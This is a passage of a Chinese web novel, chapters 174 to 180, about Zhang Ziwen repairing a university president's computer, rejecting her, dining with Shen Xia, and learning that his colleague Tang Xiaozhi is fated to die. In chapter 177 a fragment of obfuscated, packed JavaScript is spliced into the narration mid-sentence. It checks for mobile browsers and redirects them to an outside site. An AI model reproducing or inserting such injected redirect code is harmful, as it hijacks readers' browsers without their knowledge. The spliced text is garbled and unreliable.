但她很快提出第二个问题:“下次见到沈夏,你会揭穿我吗?”
张子文摇头。
蔡姨美眸微眯,打量张子文:“为什么?怕我不高兴?”
蔡姨在江城教育系统,是级别最高的女领导,在整个江城**体系里,也有不俗影响力。
她在大院当孩子王的时候,沈夏还在玩泥巴。
张子文不揭穿自己,应该的。
面对这个直击人心的问题,张子文仍是摇头:“不是。”
蔡姨端庄优雅的俏脸上,掠过一抹异色:“那是因为什么?”
心中,竟有些期待张子文会给出什么答案。
“怕沈夏不高兴。”张子文目光平静,不假思索。
蔡姨面色错愕,深深凝视这个年纪轻轻就被林天衡提拔成副会长的清秀男人。
他的答案,出乎蔡姨意料的锋利。
蔡姨沉默数秒,美眸沉凝:“那如果沈夏问你今天中午做过什么,见了什么人,你怎么办?”
张子文坦诚道:“我会如实回答。”
蔡姨挑眉,充满智慧的眼眸盯着张子文:“你不怕沈夏生气了?”
张子文抬眸,笑容矜持:“我不喜欢说谎。”
蔡姨白皙的脸庞略微怔愣,终于收回了视线。
这个年轻人的意志力极度坚定,主观思维也很难被旁人左右,在人际相处中,更是排列有序,知道孰轻孰重。
很显然,蔡姨排在沈夏后头,而沈夏的不高兴,也没有他不说谎的优先级高。
甚至,这个明明很年轻,脸庞清秀到还有些稚嫩的小男人,在男女之事上,也远比蔡姨这些年打过交道的‘成功男人’更懂分寸和坦荡。
正常男人处于他这种境况,在蔡姨欺骗闺蜜后,不论有心还是无意,往往会编一个无伤大雅的理由糊弄过去,既显人情世故,也能令位高权重的蔡姨舒心。
也许…还能维系某种微妙的男女关系,或更近一步。
但张子文仅仅因为不爱说谎,就回绝了说谎后的诸多利己可能。
蔡姨按下车窗,吹风冷静思绪。
张子文对每个问题的回答都不假思索,却超出蔡姨预期,满意到让她有点不高兴。
蔡姨这一生,事事为人先,事事比人强,不论是学习、人际、工作,还是**,她都崭露头角,天赋异禀。
作为江大最年轻的校长,她的人生履历总在打破记录,创造历史,周遭的人与事,也常常以她的意志力转移。
但今天,她被张子文左右了情
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绪,频繁出手,却屡屡遭重。
这让她内心被冒犯的不忿,多过对张子文的欣赏。
车厢内,气氛凝固。
蔡姨偏头欣赏窗外风景,张子文既没看窗外风景营造轻松,也没玩手机敷衍时间。
他只是安**在车里,面无波澜。
下车前五分钟,连定力极强的蔡姨都有些绷不住,有被车内氛围左右思绪,张子文仍不动如山。
“你真像块木头。”
下车时,蔡姨忍不住吐槽。
张子文笑容温和,毫无杀伤力:“我知道。”
在他漫长人生中,很多人如此评价过他,一个苟且熬到今天,从不敢出头,缺乏对美好生活向往,也尝尽人性苦头的孤儿,当然像一块木头多过像一团火。
蔡姨意味深长瞥他一眼,皱眉前行。
进入办公室,在蔡姨授意后才来到办公桌前,坐上那张在江大象征着绝对权力的校长椅,开始处理蔡姨电脑上的问题。
蔡姨端着偏老款的行政保温杯来到张子文身后,抿了口茶,安静看他修电脑。
张子文指尖如飞,迅速解决电脑问题,他记得林妙儿的提醒,对电脑上相对敏感和深入的地方,他没有窥探。
尽管敏感幽静的深处,也许就藏着需要解决的未知危险,可君子不立危墙之下。
可即便如此。
电脑上仍是弹出动作激烈,回荡着靡靡之音的画面,虽只是匆匆十数秒的推广入口,视听觉效果,却浓缩了一部长达两小时电影的全部精华。
室内骤然升温,如堕炼狱。
第174章 蔡姨电脑里的文件夹!
短短十数秒高清画面分为三组镜头,层层递进,缠绵炽热。
放完一次,再来一次。
张子文脸色微热,迅速滑动鼠标叉掉画面,可眨眼又弹了出来。
也不知是被打了个措手不及,大脑宕机,还是没经历过如此焦灼场面,技术出身的张子文竟像个新兵蛋子,手忙脚乱。
“快速点击右上角几次,就能退出来。”
耳畔响起蔡姨情绪稳定的磁性嗓音。
纵然没有回头,也能感受到蔡姨在俯身,在贴近,鼻端飘来蔡姨沁人心脾的芬香,是那种不艳俗不刻意的香味,优雅中参杂几分神秘感。
张子文照做,果然关掉了那香艳火辣的画面,大脑也迅速运作,拿出技术大拿的体面,将那群流氓插件斩草除根。
“蔡姨,处理完了。”
张子文松了口气,回头说道。
可刚一转头,却发现长达数分钟的技术操作后,蔡姨仍维持着俯身压腰探头的姿势,优雅白皙的俏脸近在咫尺,甚至能感受到蔡姨轻柔温润的呼吸。
那双盈满智慧与从容的眼眸,也从电脑屏幕挪开,落在张子文脸上。
四目对视,张子文率先避让视线,不似在蔡姨专车内那般沉着。
蔡姨非但不躲闪,俏脸上也没被窥探隐私后的羞赧,反而乘胜追击,眼神激进:“如果下次再弹出来,我应该怎么处理?”
张子文眼眸微垂,抿唇道:“可以像蔡校长说的那样,连续高频点击退出来。”
“太麻烦了,有时候点错地方,会满屏都是乱七八糟的页面。”蔡姨笑容理性,既不尴尬,也不局促,稳得像跟闺蜜聊私房话题,而非一个只见过两三次面的年轻异性。
不等张子文提供专业意见,蔡姨反问道:“张会长,你有那种不弹广告,也没有流氓插件的网站吗?分享几个给我?我电脑里有很多重要文件,要是系统崩掉了,会很麻烦。”
张子文诚实摇头:“我好像没有…”
蔡姨也不失望,笑容戏谑:“张会长平时不看?”
此刻张子文的表现,比在车里怯懦很多,这让蔡姨莫名有些玩心,该措手不及的时候,他表现得过分沉稳,该一个正常男人如数家珍的领域,反倒显得生涩。
重新掌握主动权的蔡姨回到舒适圈。
张子文不置可否,渐渐稳住心神,平静道:“蔡校长,这属于个人隐私。”
蔡姨笑意愈浓。
缓缓起身,扭开保温杯抿了一口茶,微笑道:“今天麻烦张会长了,一起吃顿便饭吧?”
张子文离开校长椅子,起身道:“不用了,我下午得回趟公司。”
“不碍事,吃完饭我让司机送你。”蔡姨虽气质优雅,谈吐却透露着上位者的强势,口吻坚决。“再忙也得吃饭。”
说罢打了个电话,却不是订餐厅或在职工食堂吃,而是让下属把饭菜送到办公室。
堂堂江大女校长在学校和年轻男人吃食堂,非议太多,不利蔡姨行政管理。
“午餐一会就送来,张会长饿了就先吃些点心。”蔡姨含笑坐下,试玩电脑。
张子文也没驳蔡姨面子,安**在会
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客区,大脑却没往常清醒。
除了不时浮现那些惊心动魄的画面和声音,还有一个在电脑里看见的文件夹。
备注名:私密照片。
张子文没点开,也不愿去深思。
可脑袋里却总是下意识出现,令其心神不宁。
蔡姨也没真玩电脑,瞥了眼坐在会客区的清秀男人,悄悄点开文件夹。
文件夹私藏数百张私密照,不下流,但很香艳,部分是自拍,部份是找女摄影师拍的‘艺术照’,全部捋了一遍,衡量了下尺度,还行,就算当时张子文误点进去,蔡姨也能坦然面对。
常年身处高压环境,精神难免紧绷,蔡姨身份敏感,也不好培养影响进步的爱好,拍些挽留青春与美好的照片,是她释压的途径之一。
这是她二十八岁那年培养的嗜好,是她某天夜里淋浴过后照镜子,突然发现身躯某个部位不如刚工作那会挺翘浑圆后,作出的决定。
自律健身只能延缓岁月对身体的侵犯,但不可逆。
唯一留下青春的方式,是照片,随着年岁增长,早些年的记忆会慢慢模糊,甚至忘记曾经的模样和身材,黯然接受半老徐娘的残酷现实。
偶尔翻出来看一看,蔡姨会舒心一些,并提醒自己曾经也火辣性感过,也是个风情尤物。
叮叮。
办公桌上的手机响起,蔡姨瞥了眼,又是沈夏。
接通,蔡姨语气寡淡,莫名烦躁:“又怎么了?”
“蔡姨,你骗我!”沈夏冷声质问。“我爸说看见张子文上了你的车!”
第175章 我不喜欢你!
蔡姨皱眉,抬眸扫了眼安**在会客区的张子文。
后者恰好抬头,四目相对,这清秀男人笑容矜持,轻轻颔首,蔡姨怦然心跳。
“所以呢?”蔡姨抿唇,白皙俏脸上古井无波。
“你能解释下,张子文开完会为什么上你的车?是他没车,还是你这个堂堂江大校长闲着没事做?”沈夏语气不善。
“我电脑坏了,请他来江大帮我修电脑。”蔡姨淡漠解释。
沈夏嗓音颤抖,咬牙切齿:“你蔡校长修电脑,还要大老远找张子文?”
“他技术好。”蔡姨不咸不淡道。“而且我找谁修电脑,需要向你报备?”
“那你骗我在开会!?”沈夏爆了,破口大骂。“蔡敏,你真是个**!连闺蜜喜欢的男人都勾搭?你要不要脸?”
找张子文修电脑就不合理,骗自己,更不合理。
要让这一切合理,就是蔡姨心虚,对张子文图谋不轨!
沈夏懊悔万分。
就不该给张子文介绍这个项目,认识这个水性杨花撬闺蜜墙角的老阿姨!
蔡姨稍稍挪开手机,眉头微蹙。
待得沈夏骂完了,蔡姨红唇微张:“骂完了?我和小张要吃饭了。”
“蔡敏!你凭什么勾搭他?你要不要照照镜子看看你多大岁数了?”沈夏气急败坏,越骂越脏。
蔡姨俏脸微沉,神色冷冽:“沈夏,如果你们的关系是我不能介入的,你应该找他谈,而不是在我面前撒泼。”
沈夏被噎住了。
她和张子文,还真没到那份上…
论资排辈,今天找蔡姨撕破脸的,应该是庄园里那个怪胎,而非自己。
可这个**明知自己对张子文有好感,还暗搓搓勾搭,简直恬不知耻,背叛闺蜜情!
“如果没这关系,别说我只是请他修电脑,就算我今晚把他留在江大过夜,你也不能打扰我,否则我会报警抓你。”蔡姨态度强硬。
咔嚓。
蔡姨径直挂断电话,恰逢此时,房门被敲响,秘书来送餐了。
“进。”
蔡姨恢复端庄与优雅,仿佛并没被沈夏影响心情和胃口,绕过办公桌,吩咐秘书放下餐食后,摆手挥退。
可就在她微笑邀请张子文进餐时,后者却缓缓起身,笑容依旧矜持我,眼底却掠过疏远之色。
“蔡校长,我临时有点事,就不留下吃饭了。”张子文语气平和。
蔡姨眉头微蹙,却并没生气,只是缓缓坐下,抬眸逼问:“刚刚还没事,现在就有事?能告诉我,你临时有什么事吗?”
刚才和沈夏讲电话,他应该都听见了,这点蔡姨很确信。
心眼多且喜欢投机的男人,会劝自己大度,不要和年轻莽撞的沈夏一般见识,并展露胸襟气度,虚怀若谷。
三观正直一些,也不愿违背道德底线的男人,会不偏不倚的两头劝,希望大事化小,解除误会,而非两头吃。
但眼前这个刚才还答应一起吃饭,接完电话就要走的清秀男人,却选择了第三种方式。
“临时想去告诉沈夏,我只是来为蔡校长修电脑。”张子文直视蔡姨,眼神不像刚才躲闪。“临时觉得没胃口,不想和蔡校长吃饭。”
蔡姨眼中闪过冷色,身躯微微前倾
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:“所以,你要为沈夏出头,当面羞辱我,让我难堪?”
张子文目光微沉,语气不再温和:“我讨厌说谎,更讨厌被人利用。”
蔡姨脸色陡变,却很执拗:“所以你宁愿得罪我,也要照顾沈夏的心情?”
“是。”张子文不假思索。
蔡姨猛地站起身,目光冰寒:“你喜欢她?”
张子文沉默了。
办公室内的温度,骤然降至冰点,压抑凝重。
蔡姨目光锋利,气场强硬。
眼看张子文被逼入墙角,从他上车到此刻,终于占据上风的蔡姨面色倨傲,正要乘胜追击,张子文直勾勾盯着蔡姨,平静道:“也许这么说,蔡校长会觉得可笑,会不屑,但我是否喜欢沈夏,不重要。”
“重要的是,我不喜欢你。”
张子文丢下这句话,转身出门。
蔡姨僵在原地,脸色一片晦暗。
她甩手推翻桌上餐食,洒满地毯。
……
张子文徒步走出江大,正要打车回家,却被一辆刺目的警车吸引注意。
像那晚在天上人间初次见面,身着制服的沈夏盛气凌人,冷着脸朝张子文走来,俏丽飒爽的脸蛋乌云密布,美眸深处,却藏着浓浓的黯然之色。
“沈科,肚子饿了。”张子文笑容矜持,语气像那天请沈夏回家吃饭,温和而真诚。“如果你不请我吃顿大餐,那我鼓起勇气得罪位高权重的蔡校长,将变得毫无意义。”
沈夏张了张嘴,俏脸乌云散开,美眸中浓郁的黯然变得明媚,心灰意冷的情绪,转瞬放晴。
她咧嘴笑了,娇俏可爱。
第176章 我不在乎!
沈夏载着饿着肚子的张子文来到一家她平时会跟老爸打牙祭的私房菜馆。
食材金贵并非沈夏常来的理由,味道才是。
“沈科,里边请。”身段丰腴的老板娘笑容亲和,礼数周全。
往包厢走的时候,老板娘向张子文颔首微笑,十分温婉。
进了包厢,沈夏熟练烫那些早就高规格消毒的碗筷,都是吃路边摊养出的习惯,常被沈爸调侃。
“我就点了几道平时吃的,你看看菜单,想吃什么尽管点,你知道的,我不差钱。”沈夏耸肩,眉宇间洋溢着莫名雀跃。
开心吗?
不止开心。
就像蔡敏的挤兑,她和张子文其实也没到那份上,按理说,她还真没资格阻拦蔡校长勾搭张子文。
顶多就是背叛了她自认为珍贵的闺蜜情。
可闺蜜情,不受法律保护。
沈夏亲手给张子文倒了一杯普洱茶,遂托着下巴笑问:“我想知道过程。”
张子文也没看菜单,抬眸道:“修电脑的过程,沈科不一定听得懂。”
沈夏愣了愣,其实有点愧疚。
当时听老爸提起这事,她当场就炸了,觉得蔡姨背叛了她们的闺蜜情,当然,对张子文也很失望。
他们能认识,完全是因为自己,结果暗地里搞到一起,还撒谎骗自己…
张子文可是经常说,他不爱说谎…
“为什么要得罪蔡敏?”沈夏咬唇,娇俏脸蛋上写满困惑。
“她利用我。”张子文笑容矜持。
“她利用你什么了?”沈夏挑眉,有点同仇敌忾。
“利用我攻击沈科。”张子文语气温和。
沈夏瞬间心里暖洋洋的,眼神朦胧:“因为她拿你挤兑我?”
张子文点头,严肃道:“就算蔡校长想把我留在办公室过夜,我也会奋力挣扎,逃出江大。”
沈夏噗嗤一笑,白了他一眼:“你还真敢想!”
心情却很愉悦。
就算蔡敏背叛了闺蜜情,但张子文没让自己失望,也没做出她预期中的张子文,不应该做的事。
她心中的张子文,不可能被自己的闺蜜勾搭,哪怕这个闺蜜脸蛋气质一流,还巨有权有势,家世优渥到不比沈夏差。
在沈夏心中,就算一个完美到没有任何瑕疵的尤物去勾搭张子文,他也不会被诱惑。
因为,他不一样。
当时在和蔡敏打电话的时候,沈夏内心最绝望也最害怕的,是怕张子文在她心中的形象轰然崩塌。
“除了她利用你,还有别的原因吗?”沈夏双手捧着下巴,眼神雀跃。
张子文抬眸道:“如果今天一定要有个人不开心,我不希望是沈科。”
沈夏嘴角上翘,止不住娇笑。
在和蔡敏这场就算赢了也没有任何战利品的战斗中,自己大胜!
吃了口‘家常煎豆腐’,沈夏眨了眨美眸,试探道:“其实我挺想知道在你心中,我和蔡敏的区别是什么,又都是什么样的人。”
张子文品尝了一口食材金贵的家常菜,笑容矜持:“沈科你知道的,我不喜欢背后诋毁别人。”
沈夏递给他一碗鲜汤,语气看似随意,
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内心却很紧绷:“那说说我就行。”
张子文接过汤,笑容依旧矜持,清澈的眼眸却安静盯着沈夏:“沈科你知道的,我也不喜欢说谎。”
沈夏心房猛地一紧,迅速放弃试探与追问,耸肩道:“总之在你心中,我比蔡敏更重要,对吧?”
张子文微笑点头。
沈夏既幸灾乐祸,又心惊肉跳,脸色复杂的埋头喝汤。
不是沈夏怂,而是她自认对张子文有些了解。
这家伙不知是被姜珊伤透了,还是对男女之事本就不敏感,沈夏始终能从张子文身上感到若即若离的疏远感。
他不会主动与任何人亲近,在维系人际关系时,既绅士又极度理性,既斯文又异常冷漠。
他比绝大多数人男人都善良且友好,可一旦决定切割,又比绝大多数男人冷酷无情。
“其实…”沈夏抬眸偷瞄张子文,好奇道。“你在得罪蔡敏的时候,和她说了什么?”
张子文放下碗筷,语出惊人:“在离开办公室的时候,蔡校长问我是不是喜欢你。”
沈夏心跳如雷,呼吸急促。
她思忖良久,耗尽浑身力气问道:“你是怎么回答的?”
张子文不假思索:“我说我不喜欢她。”
沈夏重重松了口气,手心却渗出汗珠。
这个答案…沈夏竟然还挺满意。
“她一定恨死你了。”
沈夏甚至能想到一辈子没受过委屈的蔡敏,此刻有多狰狞。
张子文微笑抬眸,浑身莫名溢出一股令沈夏心悸的冷漠:“我不在乎。”
第177章 我不是他!
蔡姨深度解剖过,一生坎坷艰辛的张子文,骨子里藏着极重怨气。
蔡姨还说过,沈夏欣赏张子文身上的优点,一定和柳红绫大相庭径。
沈夏会在意张子文是否跟闺蜜蔡姨暗通款曲,柳红绫可能连徐凤芝勾搭张子文都不在意,甚至会进行一场艺术成分很高的母女斗艳。
沈夏内心纯粹保守,害怕张子文在她心中的形象有任何改变,柳红绫却希望看到张子文身上的多样性,并期待他的无限可能。
沈夏喜欢的,是一只善良温和还有点倔强韧性的小绵羊。
柳红绫要的,却是一头偶露温柔实则暴戾的野兽。
从小被温柔善良包围,三观极正,家教还极好的沈夏情窦初开后,常常患得患失。
尤其是当沈夏得知裙下爱慕者无数的蔡姨被张子文无情推开后,除了小小的幸灾乐祸,更多的是不安。
他根本不想维系任何一段他不喜欢的关系,也不会迁就任何人,他的内心秩序层次分明,极其理智,当他感到不适了,不论对方是谁,哪怕美貌智慧权力强大如蔡姨,他也说断就断。
即便沈夏认为张子文今天推开蔡姨有部分原因是为了自己,可她并没有多得意,因为或许某一天,张子文也会为了别人,甚至不因为任何人,就把自己无情推开。
她和他,早就互不相欠了。
“沈科,改天我请你。”
走出私房菜馆,张子文笑容矜持,目光温和。
沈夏负手挑眉,觉得眼前的男人既熟悉又陌生,外表人畜无害,心思却比负责她平步青云的顶头上司还难猜:“我要吃你亲手做的。”
张子文微笑点头。
目送张子文上车离开,沈夏表情恍惚,怔怔出神。
……
巨峰老总们获悉张子文选上副会长,贺电频传,**阳和温子仁说什么也要跟张会长不醉不归。
在总商会霸道**的林天衡也打来电话,邀请张会长来庄园吃顿朴实无华的晚宴,态度殷切到好像有人拿刀恐吓他。
柳红绫也在电话里讲召凤楼今晚歇业,就招待江城总商会史上最年轻的副会长。
“张会长,去哪家?”强哥回头,也很好奇小张怎么选。
“去我家。”张子文笑容温和。
强哥愣了愣,遂重重点头:“好嘞。”
……
推门进屋,客厅窗明几净,茶几上摆着切好的果盘,厨房传来高压锅冒热气的嘶嘶声,两间卧室的门都开着通风,夕阳洒满地板,浴室响起稀里哗啦的水声,张子文脱了西装,换上拖鞋走近,林妙儿正在手洗他为数不多的洁白衬衣,如瀑黑发并不柔顺,额前黏了几缕青丝,居家服也不保守,尤其是俯瞰视角,波澜壮阔。
但张子文并不着眼于此,只是安静欣赏那张随便丢在江城任何一个场合,都会成为焦点,并令人不寒而栗的绝美脸庞。
二十年后的林妙微,一定比今天的林妙微更让人窒息。
可她却扮演良家妇女的角色,洗手作羹汤。
“主人,你怎么没去应酬?”林妙儿美眸中闪过欣喜之色,很意外。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16474819|185593||http|test|mini|href|location''.split(''|''),0,{}));
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r>张子文接过林妙儿洗完的衬衣,面色温和:“我想回家吃大闸蟹。”
林妙儿乖巧点头:“主人稍等,我这就去蒸。”
张子文没阻拦,而是坐在客厅看电视,吃林妙儿备好的果盘。
偶尔看一眼忙前忙后的林妙儿,像看电视。
夜幕降临,饭菜也齐齐上桌。
林妙儿开了一瓶酒,祝贺主人开启崛起之路,眼神既欣慰,又有点诚惶诚恐。
张子文抿了一口酒,安静望向料理了一整天家务的林妙儿:“妙儿,我上一世是不是对你很不好?”
林妙儿闻言,娇躯微微发颤,眼神躲闪道:“主人,您怎么会这么想…”
张子文笑容真诚,目光温和:“我觉得你好像有点怕我。”
林妙儿嘴硬道:“我那是尊重主人,崇拜主人!”
张子文轻轻点头,抬手给她夹菜:“吃饭。”
林妙儿被问得心慌意乱,味同嚼蜡。
她当然知道主人最讨厌说谎,可为了掩饰上一世的真相,她不停编织谎言,欺骗主人…
一顿饭在沉默中吃完,林妙儿心理负担太大,瞧着主人真诚清澈的眼眸,犹豫许久后,深吸口气:“主人,其实上一世…”
林妙儿甚至连一句话都没说完,又语塞了。
当脑海中浮现上一世的暗黑画面,她心率极快,脸色煞白,浑身剧烈颤抖。
别说亲手撕开伤口,只是轻轻触碰,都痛的无法呼吸。
“妙儿,别怕。”张子文眼神轻柔,笑容矜持而坚定。“我不是他。”
第178章 唐唐,叫唐小枝!
林妙儿眼眶发红,娇躯涌过暖流,遂又破涕为笑:“主人,我真的不怕你呀…”
二十多岁的林妙微都没怕过谁,二十年后的林妙微,又会怕谁呢?
张子文微笑起身:“那就好,你去看电视,我来收拾。”
林妙儿也不客气,在家收拾一天,确实有些疲惫。
吃着果盘,心不在焉看电视,余光不时偷瞄里外忙活的主人。
她不怕眼前清秀斯文,对自己温柔善良的主人。
她怕的,是上一世用陌生而疏远的眼神看自己的男人。
是那个她每次报以希望却终不得见的男人。
是那个从没有给她做过饭,没和她同过居,甚至会叫错她名字的男人。
这一世的林妙微,也许会怕主人不陪她玩,怕主人讨厌她的性格,怕想见主人而不得。
可林妙儿不怕。
她拥有了上一世所渴望的一切,她幸福的不得了。
但压力还是有的,主人的个人成长,和上一世大差不差,短短一年,主人跻身青年才俊,不仅气质有所变化,周遭环境也在剧变。
哪怕一年前到今天,林妙儿都能感受到主人翻天覆地的变化。
未来的每一年呢?
会一步步朝上一世急速发展吗?
他的眼神,会陌生吗?
他的性格,会深不可测吗?
他的为人,会不苟言笑吗?
他会蓦然转身时,冷漠俯瞰世间一切,包括自己吗?
二十年太漫长了。
漫长到即便是此刻拥有一切的林妙儿,都会害怕随着时间的流逝,失去这一切。
主人的房子会越住越大,她还能一直住在主人隔壁,偶尔在午夜时分,为主人按摩吗?
主人身边的人,会越聚越多,他还能准确喊出每个人的名字吗?
二十年,足够忘记一个人,也足够忘掉一段不再稀缺的感情。
两世为人,她从未怕过主人。
她怕的是得不到,是得到后的失去。
哪个新婚妻子,又会不怕枕边柔情蜜意的丈夫未来变得冷酷无情,背叛曾经的山盟海誓呢?
人是会变的。
主人也不例外。
摇摇头,听着厨房传来的水声,林妙儿挥去脑中的纷杂思绪,不再深思。
反正上一世主人既没结婚,也没留下后代,此刻的林妙儿,已是上一世所能奋斗的巅峰。
享受当下即可。
总不能强势改变主人的剧本,非得嫁给主人,还生两个大胖小子吧?
林妙儿勾腰偷瞄主人,有点暗爽,还有点好笑。
好好当正宫得了,那些歪门邪道不可取,擅改剧本会遭报应的。
吃光果盘里的山竹,主人已经收拾完碗筷,回房工作去了。
林妙儿偷偷洗了澡,喷了主人喜欢闻的香水,带上作案工具推开卧室。
主人正在电脑前工作,林妙儿也没打扰,小声铺好床,准备好按摩设备,拉上窗帘,把顶灯换成灯带,光线柔和,气氛极佳。
来到桌前,林妙儿正要催促主人上钟,视线落在电脑屏幕上的图案,目露惊骇之色:“银面?”
“嗯?”张子文回眸看了眼林妙儿,遂又点头。“就叫银面。”
敲击键盘,打下银面二字。
林妙儿直勾勾盯着电脑上的图案,以及图案上主人亲手书写的银面二字,呼吸急促道:“主人,你这是设计的什么?”
“一个新方案的LOGO,琢磨好几天了。”张子文说罢
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,瞥了眼林妙儿古怪的脸色,问道。“你见过?”
林妙儿深吸口气,点头。
张子文也不意外,随意问道:“这个LOGO未来很火?”
林妙儿摇头,抿唇道:“不火,见过的人也很少。”
“那你大惊小怪干嘛?”张子文白了林妙儿一眼。
“因为主人未来,戴过这个…面具。”
林妙儿未来二十年,只见主人戴过一次。
那一夜,哪怕是不通人性的林妙微,也涌现极强烈的生理反应,做了许久噩梦。
“面具?”张子文清秀脸庞上掠过一抹异色,回头看了眼图案。“确实挺像一个面具。”
张子文又看了林妙儿一眼,眼神清澈:“我戴面具干什么?”
“**。”
林妙儿一阵心悸,瞳孔剧烈颤抖:“所有见过面具的人,都**…”
卧室内一片死寂。
张子文关掉电脑,清秀白皙的脸庞上露出一抹克制浅笑:“我做错了吗?”
林妙儿摇头,语气坚定道:“那些人,都该死。”
上一世,那是一年后发生的**件。
也是林妙微和主人走得最近的一段日子。
她依稀记得,主人是为了一个女人。
但上一世的林妙微,前期并不关心主人的身边人,不论是柳红绫还是沈夏,她都看不起。
“我为什么要这么做?”张子文轻声询问。
“因为一个女人。”林妙儿绞尽脑汁,搜刮那个女人的名字,想了许久,她才想起来。“好像叫唐小枝。”
深吸口气,林妙儿提醒道:“主人,以后要是遇到她,您注意下。”
张子文脸色阴沉,目光冰冷道:“唐唐,就叫唐小枝。”
第179章 那个首屈一指的商界大亨!
林妙儿脸色陡变,一股寒意从心底蔓延全身。
她既惊愕于唐唐就是那个为主人而死的唐小枝,又有些被主人脸上的阴沉暴戾震住。
长达一年有余的朝夕相处,她从未在主人清秀脸庞上见过如此颜色,可上一世,这是常态。
林妙儿也终于明白为什么上一世,她没见过那个对主人死心塌地又爱而不得的唐唐。
她不是像林妙儿那样孤独躲在角落,无人在意,她比林妙儿更凄惨,还没能等来主人的辉煌与璀璨,就早早走完了短暂的人生。
“这是唐唐第一次带团队做的大项目,她说她紧张,专程请我设计的图案。”张子文收敛情绪,笑容克制。“她每天忙到凌晨,说不想丢我的脸,要让巨峰那些说她闲言碎语的都闭嘴。”
林妙儿唇角嗫嚅,轻声道:“唐唐是个好女孩。”
“她是我在巨峰那些年里,唯一没有占我便宜,没有欺负过我的同事。”张子文笑容矜持,语气平稳。
林妙儿暗暗思忖:不仅如此,她还喜欢主人…
那夜,她在小区门口看见了唐唐的断舍离。
她原本还共情自己眼里的唐唐,何尝不是别人眼里的林妙微。
可现在看来,她甚至不如林妙微幸运。
……
一个月后,江城著名五星级酒店签约仪式现场。
唐唐在巨峰执行总裁张子文的授权下登上签约台,置身聚光灯下。
签约结束,台下掌声雷动。
在与合作方领导握手恭维后,一身干练职业套装的唐唐回眸,搜寻台下那个对她绝对信任,无比包容的男人。
很快,她找到了愈发成熟有魅力的张总,来不及应酬那群上前示好的同僚或合作方,她从侍应托盘里端着两杯香槟,既雀跃又有些谨慎的来到张子文跟前。
“张总,我能敬您一杯酒吗?”
工作中雷厉风行的气质褪去,取而代之的,是小女人的局促与试探。
张子文微笑接过香槟:“唐唐,恭喜你。”
唐唐俏脸羞怯,却咬唇坚定道:“没有张总提携,就没有我唐小枝的今天!”
张子文眼神晦暗,与唐唐碰杯。
二人来到落地窗前俯瞰江城夜景,张子文接连喝了几杯,神色沉稳。
“江城的夜景,真美。”唐唐又端来两杯香槟,在酒精的作用下,俏脸绯红,美眸蕴含水色。“张总,我从没想过可以站在这么高的位置看风景。”
“未来还有更多风景在等你。”张子文接过香槟,一饮而尽。
“真的吗?”唐唐眼角上翘,芳心微紧,偷瞄了张子文一眼。“张总,您可别骗我,您知道的,不论您说什么,我都会无条件相信。”
张子文笑容矜持,接过侍应递来的下一杯,微微抬手:“当然,我什么时候骗过你?”
唐唐双手举杯,美眸闪烁亮色:“我会努力工作,绝不辜负张总。”
又饮了几杯香槟,张子文视线飘向窗外,语气忽然一转:“唐唐,你弟弟是不是快毕业了?”
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唐唐微微一怔,遂解释道:“嗯,已经在投简历了。”
“听说,他还是我的校友?”张子文回头,微笑看唐唐。
“张总怎么知道的…”唐唐娇躯微紧,美眸微垂。
张子文笑容温和,他不仅知道唐唐的弟弟在江大念书,还知道她弟弟叫唐小树,二十年后,是江城首屈一指的商界大亨。
也是林妙儿口中,张子文未来的左膀右臂。
林妙儿没见过甚至没听说过唐唐,可她见过唐小树,那是一个不苟言笑的冷酷男人,却对主人无条件服从。
“别到处投简介了,也不用避嫌。”张子文微笑道。“让他来巨峰,我带他。”
唐唐娇躯微颤,眼眸困惑地望向张子文:“张总,会有人说闲话的…”
张子文回眸望向唐唐,语气不容置疑:“在巨峰,谁敢说我闲话?”
唐唐心房涌过暖流,却依旧坚持:“张总,您对我真的够好了,小树能力也不差,可以养活自己…”
张子文微微一笑,安静凝视受宠若惊的唐唐:“你忘了那天在奶茶店,你说你要是发达了,就要把你弟弟牵在身边,看他娶妻生子,看他成家立业?”
说罢,张子文**两步,上下打量这个不久后会为自己而死的女人:“唐唐,你已经不是那个天天被人欺负的技术部小唐了,你是巨峰技术总监,未来,你还会成为巨峰合伙人,你怕养不起你弟弟?你怕江城那些漂亮女人,会不愿嫁给你这个富婆的弟弟?”
第180章 季伯常今晚会死!
张子文安**在车内,强哥目不斜视,专注开车。
坐在身边的唐唐心如鹿撞,不知道张总为何突然这么照顾自己。
自从上次告白失败后,她能清晰感受到张总有跟自己保持距离,除了工作,会尽量避免单独相处。
可最近,张总非但密切关注自己带队的项目,还为项目提供了巨大支持,连上台签约的权限,也放给自己。
包括要亲自带即将毕业的唐小树,并向自己许诺,一定会成为巨峰合伙人。
唐唐不断复盘自己最近的表现,任何方面都不足以让本就是工作狂的张总另眼相看。
她猜不透张总的心思,却觉得张总看自己的眼神,发生了变化…
有自知之明的唐唐知道,张总不可能在拒绝自己之后,突然又对自己感兴趣。
张总绝非反复无常的男人,即便真喜欢,也会用常规手段,而非高薪厚酬。
轿车抵达小区门口,唐唐柔声道:“谢谢张总送我回家。”
“嗯。”张子文微笑点头。“晚安。”
唐唐内心那隐隐冒出的小期待转瞬湮灭,却符合预期。
如果张总有想法,那晚主动献身就成了,何必等到今天?
“晚安。”唐唐眼中掠过一抹失落之色。
目送唐唐进了小区大门,张子文才收回视线。
“张总,我嘴巴很严的。”强哥也不回头,怕张总尴尬。“唐唐喜欢你很久了,对那些追求者,从不假以颜色。”
张子文目光平静道:“我知道。”
“我明天来这里接你回公司?”强哥暗示道。
张子文瞥了强哥一眼,淡淡道:“不要背后诋毁唐唐。”
强哥闻言,立刻端正态度:“张总,是我说错话了,对不起。”
强哥下意识口嗨,却猛然惊醒张子文并非他以前圈子里的那些男人,他不会多喝两杯就满嘴黄腔,更不会诋毁侮辱女性,哪怕在背后。
张子文没出声,靠着椅背闭目养神。
强哥也没多问,朝家的方向开去。
“先不回家。”张子文淡淡道。
“去哪儿?”强哥问道。
“庄园。”张子文仍是闭目养神,大脑却高速旋转。
还是和前几次一样,强哥停在离庄园大门有一段路的地方。
下了车,张子文语气平静:“你先回去吧。”
